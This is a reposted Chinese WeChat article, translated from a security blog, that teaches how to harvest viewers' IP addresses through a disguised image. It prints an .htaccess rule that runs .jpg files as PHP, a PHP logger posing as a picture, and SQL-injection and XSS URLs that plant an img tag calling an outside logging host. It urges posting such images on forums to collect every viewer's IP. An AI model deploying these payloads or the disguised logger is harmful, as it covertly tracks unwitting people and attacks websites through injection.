微信号:HackerCoder

介绍:分享最前沿的黑客知识,了解黑客世界,学习黑客技术

如何通过一张照片来获取ip地址?

2016-04-13 22:57 黑客技术与网络安全

来自:黑客与极客(微信号:freebuf )

链接:http://www.freebuf.com/articles/database/101233.html

原文:http://securityidiots.com/Web-Pentest/Tricks/Grab-IP-Address-Using-Image.html


今天早上起床之后,我看到一篇关于“使用sql注入语句获取ip地址”的文章,对此我很感兴趣,就仔细阅读了一下,在读完这篇文章之后,我有了一个新的想法:通过对htaccess的利用,实现用一张照片获取他人的ip地址

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg


然后将下面的代码复制到记事本中,命名为grabber.jpg

<?php


$fh = fopen('ip_list.txt', 'a');


fwrite($fh, $_SERVER['REMOTE_ADDR']."


");


fclose($fh);


$im = imagecreatefromjpeg("n00b.png");


header('Content-Type: image/jpeg');


imagejpeg($im);


imagedestroy($im);


?>


将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#


现在,再说一下如何使用xss来获取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=<img src="http://leettime.net/idiots_test_lab/imageip/tryme.jpg">&submit=Search

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

谢谢您的阅读,Happy Hacking!


●本文编号88,以后想阅读这篇文章直接输入88即可。

●输入m可以获取到文章目录。

今日微信公号推荐↓↓↓
 


更多推荐请看15个技术类公众微信


涵盖:程序人生、算法与数据结构、黑客技术与网络安全、大数据技术、前端开发、Java、Python、Web开发、安卓开发、iOS开发、C/C++、.NET、Linux、数据库、运维等。传播计算机学习经验、推荐计算机优秀资源:点击前往《值得关注的15个技术类微信公众号


点击阅读原文,了解野狗

 
黑客技术与网络安全 更多文章 用“世界上最好的编程语言”制作的敲诈者木马揭秘 聊一聊随机数安全 安全界“作死”大神McAfee:70岁高龄,为何依然折腾不止? TK教主:和玄武实验室有关的几个故事 如何看待白帽子在乌云网提交世纪佳缘网漏洞后被抓?
猜您喜欢 0x0C 笔记即知识,日志即文档 聊聊高并发系统之HTTP缓存 4个月后你也是MVP | web前端学员就业喜报 程序员有哪些电脑技能让外行感到神奇? 如何实现高可用的redis集群